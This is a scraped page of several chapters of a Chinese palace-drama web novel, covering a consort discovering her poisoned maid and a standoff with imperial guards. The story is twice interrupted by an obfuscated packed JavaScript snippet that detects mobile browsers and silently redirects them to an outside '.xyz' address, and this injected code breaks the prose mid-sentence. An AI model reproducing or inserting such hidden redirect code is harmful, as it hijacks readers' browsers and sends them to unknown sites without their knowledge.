;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108321|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “不必了。”太后拂袖道,“哀家已差人送霍老爷子回府了。” 赵昶:“那就……多谢母后。” 太后没理会他,绕过赫连海,走到周徵面前,亲自伸手扶起他。 周徵顿感诚惶诚恐,但也不好就这么拂了太后的好意。他斜睨了一眼赵昶,见其并未有什么反应,这才抬起头,单手支着地站了起来。 他一起身,太后一双娟秀的黛眉紧紧地拧成了结,她厉声地质问道:“明彰,你这额头是如何弄成这样的?” “……”周徵轻咳一声,只好搪塞道,“是臣不小心摔的。” “摔的?”太后仔细地瞧着那触目惊心的淤紫与干涸凝固的血迹,表示了质疑,“哀家虽为一届妇人,但你的武功哀家还是清楚的,这么重的伤口,倒是糊弄不了哀家。” 说着她讲目光投向端坐在龙椅上的赵昶,轻声问道:“陛下又在拿明彰撒气了罢?” “太后娘娘。”周徵慌忙抱拳解释,“是臣自己不小心受了伤,与陛下无关。” 太后抬手示意他噤声,对赵昶温柔却不失警告地责备道:“哀家这么多年跟你说过多少次,明彰是你的伴读,是你的兄弟,这宫里这么多宫女太监,你若有气,往他们身上撒就是,何必非要让自己情同手足的同伴寒了心?” 赵昶闻言脸色一黑,冷哼一声道:“明彰明彰,母后一开口就只有明彰!这么多年了,母后身为我赵家人,却永远都是偏心于这姓周的!” 此言一出,周徵、汪厚、苏嬷嬷等人皆是满脸哗然,只有赫连海嘴角噙着一抹邪笑,坦然地置身事外看戏。 “孽障!”太后脸色也很不好看,她气得浑身发抖,苏嬷嬷连忙上前搀扶着她,面带哀求地看着赵昶,希望他消停一点。 太后在苏嬷嬷的帮助下顺了顺气,又说:“陛下可是上承天意,下应民心,伴着异象所生的真龙之子,而明彰只是区区罪臣之后,哀家又怎会偏心于他呢?不过是为了延续先帝与昭文皇后的遗愿罢了。” 太后顿了顿,又搬出了昭文皇后劝道:“你母后弥留之际亲手将你与明彰托付与哀家,哀家对着天地发过誓,要将你与明彰培养成为我大周朝名垂千古的一代明君与忠臣。如今见到你们二人自相残杀,这叫哀家百年后如何去向你九泉之下的母后交代啊!” 听她提及自己的生母,赵昶沉默片刻后,终于不情不愿地说:“母后教训的是。” 太后说:“明彰这些年对你,对赵家,对我大周朝的忠,哀家看在眼里,那今日在这里,你们兄弟二人又是因为何事心生芥蒂了?”她说罢看了眼一旁的赫连海道:“无关人等,可以出去了。” 汪厚苏嬷嬷等人都很识趣地退了下去,只有赫连海根本不予以回应,依旧是一副看好戏的表情。赵昶无奈,只得烦躁地朝他摆摆手,命令道:“赫连,你先回去吧。” 待赫连海一脸不服,怒气冲冲地离开后,太后又命周徵对自己重复了一遍两人今日的争执。 听完后,她沉吟半晌,徐徐道:“陛下,这回确实是你行事过于冲动了,先不说该不该杀了陆仁等人以儆效尤的问题,起码在阻止你继续对云家动手一事上,明彰做得没错,他也是确确实实一心只为你考虑。” “母后!”赵昶心有不甘地打断道。 “陛下,你先听哀家说完。”太后一改常态地坚持道,“云党如今气焰未绝,若哀家猜得没错,云琛应该很清楚你早晚有一天容不下他,所以早有拼死一搏的准备。若是由着你胡来,起了乱子,晴儿的父亲独孤旻如今镇守东南沿海,大军要赶回京城需要至少十日,而一向支持云琛的聂家军从西北赶回来,则只需要八日。天下武功,唯快不破,这两日的时差,你用什么来弥补?” 赵昶终于彻底沉默了,他一心想着早日剿灭云党,想着自己已手握禁军与京中四大营,再加上独孤旻的兵力,云琛那边光是靠一个聂家军很难匹敌。但他却忽略了西北与东南之间距离与路况的差距。 难道,他就真的要错过这个好不容易得来的机会吗?他怎么能,怎么能继续忍下这口气,看着云琛在朝堂上,在群臣中,在街坊巷陌百姓的议论里,骑到自己的头上去? 他怎能甘心?! 想到这里,赵昶感觉浑身有火焰在五脏六腑中乱窜,他气不打一处来,又无处发泄,只得咣当一下,推倒了龙椅扶手上的玳瑁蛐蛐罐。 只听一声细响,那价值连城,工艺巧夺天工的蛐蛐罐被摔得开裂。 裂缝中,那只漂亮的天蓝青,抖着受伤的翅膀,一瘸一拐地爬了出来。 它的口器里还叼着一点金色的残留物,就这样慢吞吞地,一点一点沿着地上透射的阳光,朝着大殿两扇大门的缝隙间挪动。 而刚才还在耀武扬威的巨型红头金翅,已不见了踪影,只有地上的些许残渣,似乎在昭示着刚才罐中惨烈的搏斗。 赵昶盯着一地的狼藉,嘴角轻轻地吐出了两个字:“废物……” 这时,太后在一旁说道:“依哀家看来,不如先暂且相信明彰所言,让他将那汀雪叫来询问一番后,再做定夺也不迟。陛下以为如何?” 赵昶并不答话,太后以为他还要考虑,便转头看着周徵额头的伤口,关切道:“明彰,陛下每天为了国事操劳,殚精竭虑,有时候难免心里有气,你就多担待他一下。回去哀家就让太医院给你送涂抹的膏药,这张脸可不能留了疤。” 周徵闻言,立马拘谨回绝:“多谢太后娘娘好意,只是陛下前日已赏了臣生肌散,臣还有羊脂玉容膏,就不必太后费心了。” “羊脂玉容膏?”太后奇道,“这确实是淡斑去痕的好东西啊,只是此药配方难寻,整个太医院里也只有已故的郭院判知道,你是从何得到的?” 周徵不能说出云昭昭的名字,只得淡淡道:“一个朋友送的。” 太后盯着他,笑了笑道:“此物甚为难得,一克便价值千金,你那位朋友倒是确有将你放在心上。” “……”周徵耳根一热,那日朝阳下粉红的霞绯恍若又浮现在了他的脖颈上。 太后与周徵在这边一问一答,倒是其乐融融,反而显得站在九级台阶上的赵昶像是被撂在了一旁。 待周徵沉默着不再说话了,太后这才想起他来,柔声问道:“如何,陛下?” 赵昶阴恻恻地看了周徵一眼,接着快步走下台阶,对着地上那已经碎裂的倒霉蛐蛐罐狠狠一踹。 “就按母后说的办,周爱卿,去把那个名叫的汀雪的宫女带来!” 46. 变故 除开那日假扮锦衣卫夜闯诏狱,这是云昭昭被禁足以来第一次踏出昭阳殿的大门。 数日未曾外出,宫中的秋意更加浓了。 经过中秋短暂的繁忙后,宫人们懒了不少。昔日往来络绎的宫道上人丁寥寥,日渐扶疏的花木衬得宫里更加萧索而冷寂。 唯有屋外秋日的金辉,如烟似雾地洒满琉璃瓦的屋顶,如同天上的神仙随手撒下的一把金沙,照得人从双颊到脖子都暖融融的。 比起空荡阴冷的宫阙,这种久违的、新生的感觉,真好。 被禁足的时候,云昭昭苦于自己心有余而力不足,如今好不容易重获自由,她有太多的事情想做。 比如去找太后伸冤,替柳氏求情…… 比如去找周徵问个明白…… 比如去看看薛炼是否可好…… 但这些都比不上赶去宫正司重要。 她太想寻求真相,甚至顾不得换衣服,只披了件浅灰色的云锦斗篷,便带着流霜一起避开宫人,低调地往宫正司前去。 自那日接受了周徵审讯后,汀雪仍被关在宫正司东南角的那件黑暗刑室里待命,由司内几个年长的嬷嬷负责看守和送饭。 这里本就是内宫中地位靠后仅次于冷宫的地方,地处偏僻,在皇宫外围一圈高大宫墙的阻隔下,更是常年阴冷,少见阳光。 而宫正司外就是皇宫向外最大的一处排水渠,阖宫上下的污水垃圾都要流经此处,以至于有些在这里受刑的太监宫女被打死后,就会被直接扔到沟里,所以此处的空气里永远都飘散着一股淡淡的臭味。 云昭昭在宫正司门口就被守门的嬷嬷给拦了下来。 显然,她被解禁一事还未传到此处,那嬷嬷见了她,如同见了鬼一般,吃惊之余又有几分鄙夷和骇然。 她粗壮的身躯像堵厚实的墙,挡在云昭昭与流霜二人的必经之路上。 “贵妃娘娘留步,此处可不是您该来的地方。” 流霜接过话解释道:“姑姑,昭阳殿有宫女被关在此处,我们娘娘前来也只是向她问个话而已,还请姑姑行个方便。” 这名嬷嬷斜睨着云昭昭,不客气道:“问话?这个时候谁敢让贵妃娘娘进去,虽然我们宫正司不是啥好地方,但也不想无缘无故又多死什么人,倒是平添了晦气!” 说到这里她面带不屑地将云昭昭看了又看,仿佛丝毫不避讳二人的身份之别。 “你放肆!”流霜怒喝道。 嬷嬷轻笑了一声,“毕竟贵妃娘娘身上还担着好几条人命,现在娘娘突然出现在宫正司,谁敢给娘娘开这个门儿?若是上头怪罪下来,老奴可担待不起。” 她话音刚落,就有一名桃红色宫装丽人,在数名宫女的簇拥下从宫正司里面出来。 她头上戴着明晃晃、沉甸甸的钗环,上面的翡翠宝石颗颗耀眼,但堆在一起却显得庸俗,活像一个恨不得将所有身价都戴在身上的暴发户。 她用锦帕小心地捂着嘴,昂首挺胸,活像一只骄傲的孔雀。待她走近,云昭昭才看清了她的眉眼—— 原来是从前纯容华身边的李贵人,不对,如今已是荣嫔了。 在她被关在昭阳殿的这些时日里,后宫的局势也发生了翻天覆地的变化,因为她的禁足,协理六宫的大权很自然地就落在了地位仅在她之下的晴妃身上。 此外,受云家牵连,贾贵嫔与霍婕妤都失了宠,连带原本置身事外的易琉璃因为在赵昶面前替她求情也受了一定程度的冷落。 宫中人心之变堪比湍急的流水,日日变化,日日不同。不少人眼看云家大厦将倾,便也不把她这个贵妃放在眼里了。 不过一月功夫,她已经从刚入宫时那个人人赶着巴结的对象,变成了随便一个宫人都可以给予白眼的妃子,一如当初默默无闻的易琉璃。 而如今的后宫中,除了晴妃外,反倒是一向头脑简单,口无遮拦的李贵人一跃成为了最受宠的妃嫔,甚至晋封嫔位,赐号荣。 果然不出云昭昭所料,守门的嬷嬷见到荣嫔,态度立马大变,立马谄媚地为她让道,那粗壮的腰身此事恨不得躬到地上去。 荣嫔也看到了云昭昭,但她却仿佛当她不存在一样,轻飘飘地便要从她身边过去。 云昭昭心里好笑,故意叫住她道:“这不是李姐姐吗?多日不见,本宫还未来得及庆贺姐姐晋位份。” 云昭昭率先开了口,荣嫔却置若罔闻,身边的几名宫女也与她如出一辙,见了她甚至没有行礼。 流霜看不过去了,立马上前拦住几人,厉声呵斥道:“站住,你们几个!见了贵妃娘娘也不行礼!” 荣嫔闻言终于停下脚步,一副才见到云昭昭的模样,装模作样道:“哎呀,我倒是谁呢,这不是云贵妃吗,哎呀,多日不见,我这眼神一向不好,云贵妃难得穿得这般朴素,我倒是认不出来了。” 她阴阳怪气,甚至未用敬语,云昭昭也不便说她,只看着她身边几名宫女,笑道:“荣嫔头上的金饰晃眼,看不清人也就罢了,本宫原谅她便是,只是你们几个做奴婢的也不提醒着主子,是想要害自己主子受罚吗?” 说到这里,她故意看着宫正司那名给自己与流霜脸色看的嬷嬷,提起声音道:“这里可是宫正司,还请这位嬷嬷告诉大家,按照宫规,对高位嫔妃不敬者,该当何罪?!” “这、这、这……”那嬷嬷变了脸色,吞吞吐吐地小声道,“按规矩,宫女对主子不敬者当受庭杖六十,低……低位妃嫔对高位位妃嫔不敬者……当、当禁足十日。” 她话音刚落,一阵钗环叮铛作响的碰撞声之后,荣嫔身边的那几名宫女纷纷行礼道:“见过贵妃娘娘。” 荣嫔狠狠地瞪了她们一眼,气得脸色清白,心里恨得咬牙切齿,面上也不好发作。 她只好不情不愿地略略行了个礼:“见过云贵妃。” 云昭昭借力打力,已达到了目的,也不再揪着荣嫔不放,也略略点了点头,算是应了。荣嫔见状冷哼一声,连忙用手帕掩面,避之不及地扭头就走。 她离开后,云昭昭转而冷冷地瞪着门口刚才拦着她的嬷嬷,扬了扬眉。 那嬷嬷因为刚才见到她也没行礼,现下正觉理亏,又发现云昭昭不是什么人人拿捏的软柿子,立马掌了自己一嘴,赔了个笑脸道:“贵妃娘娘,瞧老奴这脑袋瓜儿,刚才一时转不过来了,这便让娘娘进去。”说着她让开了一条道儿。 云昭昭向她打听了汀雪的所在,立马带着流霜疾步赶过去,但古怪的是,她们越靠近那间东南角的小黑屋,空气中飘散的臭味越浓郁。 流霜在云府也做过不少粗活,云昭昭自觉也不是原身那么矫情的性子,但二人走近此处,皆不约而同地用帕子捂了口鼻。 “怪了,小姐,”流霜捂紧鼻子,口齿不清道,“这臭水沟怎么这么熏人?” 云昭昭不言语,目光聚焦在脚底的地上,眉间有些凝重。 只见潮湿肮脏的青砖上,一只只个头不小的蚂蚁,正排成排,成群结队地往汀雪所在的那间小屋爬去,那密密麻麻的一支长队,远远看着就像一条流动的黑色小溪。 院子里原本看守汀雪的几名嬷嬷只剩下了一名,她身材五大三粗,不输于男人,长得也凶神恶煞的,满脸戾气,不耐烦地杵在那里缝着一件冬衣。 云昭昭朝流霜使了个眼色。 流霜会意,立马掏出准备好的锦囊,里面装着几片金叶子,笑吟吟地塞给那嬷嬷。 嬷嬷脸色终于稍微缓和了一点。她掏出一把生锈的铜钥匙,给云昭昭开了门。 云昭昭看着地上络绎不绝的蚂蚁,问道:“这位姑姑,这地上的蚂蚁是怎么回事?” 那嬷嬷得了好处,却只是抬了下眼皮道:“饭馊了呗,还能怎么回事?那丫头就在里面关着,贵妃娘娘仔细看着,老奴刚想起这衣服做完还有别的事,这便走了。”说完她缝上最后一针,拿着衣服离开了。 她走之后,云昭昭透过木门漏出一条半寸宽的缝隙看了一眼,里面黑洞洞的,无数灰尘在黑暗中扬起。 而那股诡异的臭味在此刻比任何时候都要浓郁,熏得她太阳穴突突突地跳。 她二话没说,捂着口鼻上前推开木门,迎面而来的景象让身后的流霜发出了尖叫。 只见地上一具仅能看出人形的尸体倒在血泊中,那些黑红色的血液已经变得粘稠无比,和满身的溃烂成为了一体,已分不清哪儿是衣服,哪儿是肉,哪儿是血。 因为曾在诏狱里目睹过更骇人的场景,所以比起吓得花容失色的流霜,云昭昭还算镇定,并一眼就看到了掉落在尸体不远处的一张手帕。 她走过去,在流霜的惊呼声中捡起了那副手帕,拍了拍上面的灰尘。 手帕并未沾染血迹,规整秀美的紫藤花纹样,仿佛有生命一般,在好不容易射进屋的阳光下,簌簌飘摇,仿佛与数日前呈现在她眼前的样子并无二致。 毫无疑问,这是汀雪的手帕。 而地上那具已溃烂的尸体,却已经分辨不出任何生前的模样。 汀雪……汀雪…… 眼泪不知为何,不受控制地夺眶而出。 汀雪死了。 冲天的恶臭让云昭昭的胃里翻江倒海,血肉模糊的尸身仿佛看一眼就会让人梦魇。 云昭昭很想逃,可身体却愣愣地站在原处,双脚仿佛被黏上了一般。 她明明不是原身,却仿佛能看见昔年那株紫藤花下,一个瘦弱的小女孩穿了一身小小的乞丐服,正腼腆地笑着,对着她怯怯地叫了声“小姐”。 不知道过了多久,还是流霜鼓起勇气,扯了扯云昭昭的袖子,眼中带着哀求之色。 “小姐,我们,我们快离开这里吧……万一待会儿有人来了,又怪到小姐头上怎么办?” 流霜的话立刻将云昭昭拉回了现实。她吸了吸鼻子,哽噎道:“汀……这尸体看起来已经死了多日了,我今日才来,怎会怪到我头上?” 流霜撇了撇嘴,“可小姐,方才那宫正司门口的嬷嬷还说你走到哪里哪里就出人命……要是她们怪上你——” 她话还未说完,只见方才那名看守的嬷嬷又折返回来了,她恭恭敬敬地跟在一名男子身侧,一边走一边小心翼翼地陪着笑。 而那男子不是别人,正是周徵,他的目如寒星,正盯着这边,若有所思。 “啊,这……”流霜捂了捂嘴,真想骂自己一句乌鸦嘴,不知为何,她的心噗噗地跳得很快。 注意到门口的主仆二人,刚才守门的嬷嬷正想要同周徵解释,目光却突然瞟到了屋内的情形。 她瞬间瞠目结舌,脸上的皱纹像是突然有了生命一般抖动起来。 “这,这,这……” “她死了。”云昭昭不经意地擦去脸上的泪痕,淡淡地说。 “不可能!”那嬷嬷不知为何突然紧张起来,她大力一推,越过云昭昭就要往屋内去,“她之前还好好的!” 云昭昭差点被她推倒,但汀雪的死让她现下顾不上指责别人。她堪堪扶住门楣,沉默地为周徵和嬷嬷让开了道儿。 那嬷嬷看到屋内一地血肉模糊的狼藉,连忙朝周徵叫苦道:“侯爷啊,老天在上,上次您来的时候您也知道的,这丫头确实是好端端的。我们宫正司谁也没虐待她,可她这……这绝对不是我们宫正司失职!” 她说罢看到一旁的云昭昭与流霜,立马指着她们道:“是她们!是云贵妃!这几日,除了我们几个负责看守的老奴,谁也没来这院子,只有今日云贵妃以来,这丫头就成了这样!” “喂!”流霜见她不分青红皂白地就甩锅,立马反驳道,“我们娘娘一来这里就是这样的,这分明是你们宫正司干的!” 说到这里她又冲着周徵道:“武安侯您倒是说句话啊!我们娘娘刚才被解了禁足,你今早还跟她在一块儿,她怎么可能……” “流霜!” 云昭昭轻轻喝止她。意识到自己早上与周徵一起的情形被流霜看见了,她不禁耳后有点发烫,轻轻咳嗽了几声。 想到汀雪的惨状,她强忍着悲痛道:“我确实是才来此处,而这尸体明显已经死了好几天了。” 她这句话是朝周徵解释的,如今他们之间已不像以前那样剑拔弩张,所以她倒没觉得周徵会以此向自己发难。 周徵未接话,只是侧身走进室内,他像是闻不见满屋的腐臭一般蹲在那具骇人的尸体前,凑近细细地看着。 过了很久,他才缓缓起身,身形有些晃悠,言语中带着一丝冷意。 “你错了,她并未死去那么久。”他道。 “你说什么?” “若我判断得没错,她应该是中毒死的。此毒名为孔雀胆,只要服用到达一定量后,便会使人在一日之内周身溃烂,化为脓水。她应该是在今日寅时到卯时之间死的。” “寅时?”嬷嬷赶紧撇清自身嫌疑,“寅时乃是夏嬷嬷在此守着,老奴也是今日巳时才过来的,可来的时候怎么都找不到夏嬷嬷她人,这老东西,不知道又溜到哪处去抽她的旱烟去了。” 说罢她赔笑着道:“侯爷,你看,咱们宫正司一向守备森严,是断不敢随意让人进出的。所以那就只能是夏嬷嬷她……” “不是她。”周徵否认道,眉心皱成了一团,“孔雀胆此毒难寻,一般人是拿不到的。况且,面对真正有武功之人,连诏狱都不能幸免,你们那点守备根本就是形同虚设。” 云昭昭闻言,心里咣当一声响,仿佛有什么东西碎了一地。 她难以置信地看着周徵:“周徵,你什么意思?” 周徵看了看那名嬷嬷一眼,对方很会审时度势地找了个接口离开了。、 云昭昭见状,也冲流霜道:“你也先出去吧。” “可是小姐……”流霜踌躇着不肯走,明显不放心她和周徵单独在一处。 云昭昭朝她递了个安抚的眼神,她这才依依不舍地离开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108322|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 至此,小院里,只剩周徵与云昭昭,满地的蚂蚁绕过这两个矗立的“庞然大物”,仍忙忙碌而闲适地搬运着从尸体上撕下的碎片。 云昭昭急忙问道:“你在怀疑我?” 周徵不置可否:“准确地说,我怀疑的不是娘娘。昨天夜里与娘娘一同私闯诏狱那人,武功高强,又能避开禁军守卫,若我猜得没错,此人应是御马监的人吧……” “你在怀疑我爹?”眼看周徵已将薛炼的身份猜出一半,云昭昭只能鼓着腮帮,强作镇定。 周徵冷笑道:“陛下登基后御马监内部换血过数次,能手眼通天到将自己的人藏在里面,纵观朝野上下,除了云阁老,还能有谁呢?” 云昭昭顿时气不打一处来,“周徵,可是你亲口告诉我之前是汀雪将秋儿推下了河的,虽然中秋那天宴会上的事,你对我三缄其口,但我还是能猜到,她定是做了什么吧!她这样不忠于云府,另投他主,我爹就算有心要她的命,也定是应该让她死得其所,让真相明明白白,又怎会让她像现在这样死得不明不白呢?” “你说的不错。”面对云昭昭的辩白,周徵面色淡淡,“但假如你爹的那位‘得力属下’已将一切盘问了出来,又何必非要娘娘知道呢?” “你!” 云昭昭被他堵得简直哑口无言,好像有一口气氤氲在胸口,叫她吐也不是,不吐也不是。 “当然更有可能的是……” 周徵说到这里顿了一下,面上神色复杂。 “一面让家中的丫鬟拼命地向我证实她效忠的另有其人,一面又让云贵妃假意借着合作的由头来拉拢我……” 他此言一出,云昭昭仿佛听了一个最好笑的笑话,她忍不住笑了起来。 她突然意识到,自己和云琛在周徵的眼里,真的很像自己以前看的电视剧中的那种大反派。 不过很快她就想起来,自己穿书过来的原身,不就是书中的大反派吗? 就像她穿书至今,无论想要怎么改写书中剧情,无论准备得多么周全,那无形的命运总似被栓着绳一般,朝着书中既定的轨道驶去。 不对,应该是在反派的道路上驶得更远。 那么多人都因她出事,因她而死。 秋儿、逐月、纯嫔、汀雪、柳氏…… 云昭昭笑着笑着,用袖子轻轻地擦了一下眼角那令人讨厌的液体。 她盯着周徵的眼睛,讽刺道:“武安侯不仅武功盖世,想象力也是一等一的丰富,既然我爹如此十恶不赦,心机狡诈,那么今早背着陛下擅自将我昭阳殿解禁,又将我娘从诏狱中放出的武安侯,岂不也是与我云氏蛇鼠一窝?” 周徵深深地凝视着她,皱眉点评道:“你还是如此伶牙俐齿。” 云昭昭笑着说:“周徵,无论你承认与否,在赵昶眼中,你的所作所为已经让你与云家成了一条船上的蚂蚱了!” 周徵沉默了。 半晌后,他平静地说道:“我自会向陛下解释清楚。” “看来武安侯对陛下的信任是成竹在胸啊……原来是我高估了武安侯的为人。”云昭昭眯着眼道。 周徵闻言脸色一变,彻底冷下脸来。“贵妃此言何意?” 云昭昭见他不爽,心情终于畅快了几分。她冷笑道:“既然你怀疑我,那我是否也可以怀疑你之前与我说的有关汀雪的事,也是你与陛下的合谋呢?你将一切推给我身边的丫鬟身上,让我以为她背叛了云家,背叛了我……” “我没有——” 周徵下意识地脱口而出道。 然而,他还未来得及将下面的话说出,只听门外传来一阵枯叶窸窣之声,数十名锦衣卫跟随在赫连海的身后,出现在他们面前。 “赫连海?!”周徵惊诧,“你来这里做什么?” 赫连海手握腰间佩刀,面色不善道: “武安侯,你在陛下与太后的面前面前信誓旦旦声称将贵妃身边的这名宫女带去问话,一问便知。现在已过了两个时辰,若不是宫正司有人来报说这名宫女已经死在了这里,侯爷还要让陛下与太后在承龙殿里干等多久?” 说着他像个凯旋的胜者一般挑衅地看着周徵,赤1裸裸的目光从周徵那儿逡巡到云昭昭的脸上。 “还是说,老子来得不是时候,打扰了武安侯与这貌美如花的贵妃娘娘幽会?”赫连海舔了舔嘴角,淫1笑着说,“你说,要是老子将贵妃娘娘抓进诏狱去,陛下可否看在我赫连有功的份儿上,让老子也尝尝这绝色美人的滋味儿呢?” 他说完目不转睛地打量着云昭昭的全身上下,丑陋的脸上那双凶狠的眼睛里露出贪婪的欲望。 云昭昭被他盯得恶心极了,正想着要如何开口,就见周徵不动声色地向左挪了一小步,挡在了她的身前。 “赫连海,你且回去,我自会将人依大周律令处理,稍后我就会去给陛下与太后一个说法。” 赫连海面露讥诮,手中绣春刀唰然出鞘。 “武安侯背着陛下做的好事,先是私自放走了诏狱里的云夫人,后来又擅自撤了昭阳殿的守备,你觉得你在陛下面前,还有信誉吗?” 他说罢大手一挥,十余名锦衣卫依次散开,十多把雪亮锋利的刀刃寒光毕露,将云昭昭与周徵团团围住,其中大多都是周徵手下北镇抚司里的老面孔。 狭小逼仄的院落中瞬间杀意涌动。 周徵脸色微变,看向最左边的一名锦衣卫道:“莫风,停下。你快带所有人退下。” 但莫风却对周徵的命令置若罔闻,他为难地摇了摇头,随后与其他人一起,朝着中间的云昭昭与周徵一步一步地逼近。 “你?你们!”周徵这时才意识到事情的严重性。 “侯爷不会以为自己身为锦衣卫指挥使,就有资格号令整个锦衣卫吧?只可惜,锦衣卫是陛下的锦衣卫,能号令他们的,只有陛下!” 赫连海看着他,脸上挂着玩味的笑,“况且,从陛下得知这宫女已死时开始,你武安侯就已不再是锦衣卫指挥使了。” 说完他从怀中摸出一本敕牒,摊开后大喇喇地暂时在周徵面前,明黄的绢布在秋风中猎猎而舞,上面黜免的字迹在周徵眼中越发的扎眼。 周徵:“……” 赫连海很是乐于见到周徵这幅怔怔的表情,他得意地说:“侯爷,从今天起,陛下已命老子暂时执掌锦衣卫,并代为调查云氏霍乱朝纲,毒杀后宫嫔妃一事。” 云昭昭一听,气得差点晕过去,她恨不得将毕生所学的脏字吐到前面这个凶神恶煞的胡人身上。 但她还未开口,便听见周徵怒喝道:“不可!云氏一事,还需慎重,赫连,你带我去见陛下!让我同陛下解释清楚!” 赫连海斜睨着周徵,凶狠的目光中带着些许怜悯,仿佛在看一个可怜的手下败将。 “侯爷想得倒好,只可惜,你没这个机会了,”他说罢大手一挥,狠厉喝道,“你们,将给云贵妃给我拿下!” 47. 劫持 赫连海一声令下,云昭昭立即成了众人目光的焦点。 十数道寒光带着凛冽的杀意,映在她的眸中。 但她却没有动。 只因为站在她身前的周徵既没有说话,也没有任何动作。他仍旧挡在她的身前,一动不动。 他曾经的下属们见状也不敢再轻易上前一步——毕竟周徵的功夫,锦衣卫里不少人都是亲自领教亦或是目睹过的。 “武安侯,你确定要与云氏为伍了?”赫连海有些恼了,“你若是再这样维护她,休怪老子不客气!趁着陛下还未治你的罪,你最好早点迷途知返!” 不等周徵答话,云昭昭便主动上前一步,问:“这位大人,既然话都这么说了,那陛下是铁了心要将我云家赶尽杀绝了吗?” “哈哈哈,云琛那老贼勾连翰林学士,目无尊卑,在朝堂上妖言惑众,大放厥词,有污圣耳,若是放任此等奸邪侵犯皇威,还要这锦衣卫何用?我赫连海可不是什么没甚鸟用,空有一腔妇人之仁的人!” 赫连海大笑起来,面上狰狞的肥肉颤抖着,言语间还不忘对周徵指桑骂槐。 他的目光随即从周徵那儿落在了不远处身量窈窕,白衣素颜也难掩天姿的云昭昭身上,带着令人作呕的粘腻与热意,恨不得将其一口吞入腹中。 他轻啧道:“不过嘛……贵妃要是识时务,老子倒可以让你在死之前享受一下真正的快活!听说陛下到现在还没碰过你,啧啧,真是可惜了这如花似玉的美人儿了……” “呸!想得到美!你尽可以试试!” 云昭昭啐了一口,恶狠狠地盯着这个男人,手指攥紧成拳,发白的指节间发出发出咔嚓的声响。 她面上故作强势,心里早已七上八下。 如今这小小的院落里,十多名身怀武功的成年男子,而自己一介女流,无疑像一只落入狼群中待宰的羔羊。 但她这人向来做事都是不到彻底走投无路,绝不会轻易认输放弃,况且就算是输,她也要拼上最后一点儿力气挣扎一番,死也要拉个垫背的才不算白忙活一遭。 她完全不指望周徵会对自己出手相救,这种时候,她能靠的只有自己。 想到这里,云昭昭死死地咬着自己的唇。 她心里憋着一股劲儿,好像要下一秒就要从胸腔中破土而出,丝丝鲜血从被咬破的嘴唇中浸出,弥漫着一股腥甜的铁锈味。 然而她低估了周徵的执着,或者可以说是固执。 几乎是没有任何犹豫的,周徵挡在了她的面前。 “赫连!”周徵说,“不管你怎么说,我不会让!” “你……”云昭昭心里一时说不上是什么滋味,她在他身后用只有他们彼此能听见的声音小声道,“周徵,你让开,别管我了。” 周徵完全无视了她,对赫连海等人振振有词道:“我还是那句话,在这个节骨眼上,陛下绝对不能再激怒云琛等人,你们若想带走她,除非……从我周徵的尸体上跨过去!” “哈,”赫连海像是见到了什么不可思议之事,大笑道,“老子说什么呢,武安侯你处处维护云家,果然是与这个女人有染吧?!本来老子还想给你个台阶下,但既然这样,就休怪老子将你与这女人一视同仁了!” 说着赫连海也唰地一声抽出腰间佩刀。他的刀与平常的绣春刀不同,充满了异域风情,刀背上镶着不少锋利狰狞的尖刺,体积大了不少,活像一个巨无霸。 这等恐怖的利器,落到任何人身上,足以让人开膛破肚。 云昭昭看得寒毛倒立,说不怕都是假的,但她一路走来,已经有些体会到了周徵的脾气,以及他对于赵昶那近乎病态,甚至可以说是愚昧的忠诚。 就算别人再不信,但她也完全相信,周徵为了守住赵昶的位置,为了所谓的大局,而选择暂时地护着自己这个针锋相对的“宿敌”。 在这看似已山穷水复,走投无路的生死关头,云昭昭反而异乎寻常地冷静,脑中不断地搜寻着保命破局的关窍。 这赫连海看上去是个五大三粗的胡人,实际上却十分聪明。他知道论武力,他所带来这十几名锦衣卫加在一起也不是周徵的对手,所以刚刚下达的命令只是捉拿自己,与周徵无关。 而另一边的周徵,现在明显与赵昶政见不合。赵昶这个疯子!为了能够在这个时候铲除云家,扫清权力的金座下所有的障碍,不惜撤去了周徵的锦衣卫指挥使一职,任用行事与手段更为激进狠辣的赫连海。 如果周徵在这个时候,为了大局而护着自己,就如同赫连所说的那样,彻底坐实了他勾结云党一事。 不管赵昶还相不相信周徵,在与周徵一战后,凭借赫连海的野心,他都可以借此在赵昶面前大做文章,让赵昶不得不彻底放弃周徵这曾经的肱骨,由自己取而代之。 人越是在千钧一发的危机之际,胆子越大,也越有急智,正如与周徵初遇那晚,云昭昭毫不犹豫地踹了他一脚一样。 一个极其大胆的主意在她的脑海中一闪而过。 下一秒,云昭昭上前一步,几乎是彻底豁出了性命,她使出全力,以自己最快的身手,从周徵的腰间抽出了那把曾经紧贴在自己脖子上的绣春刀,将它横在了周徵脖子面前。 这个出乎所有人意料的举动让周围浮躁的空气一下子凝固了起来,十几名锦衣卫面面相觑,手中的动作像是被点穴般停在了半空。 就连周徵也因为没有料到云昭昭会突然出手,而像是没有任何防备一般,任由她将刀尖对准了自己最脆弱的部位。 “赫连海!”云昭昭冷冷地喝道,仿佛周徵是什么刀枪不入,无坚不摧的盾牌,有了他挡在身前就多了十二万分的底气。 “要是你再不让手下退下,敢抓我,我就杀了他!” 赫连海闻言,脸上除了刚才的震惊,眼中还透着几许玩味。 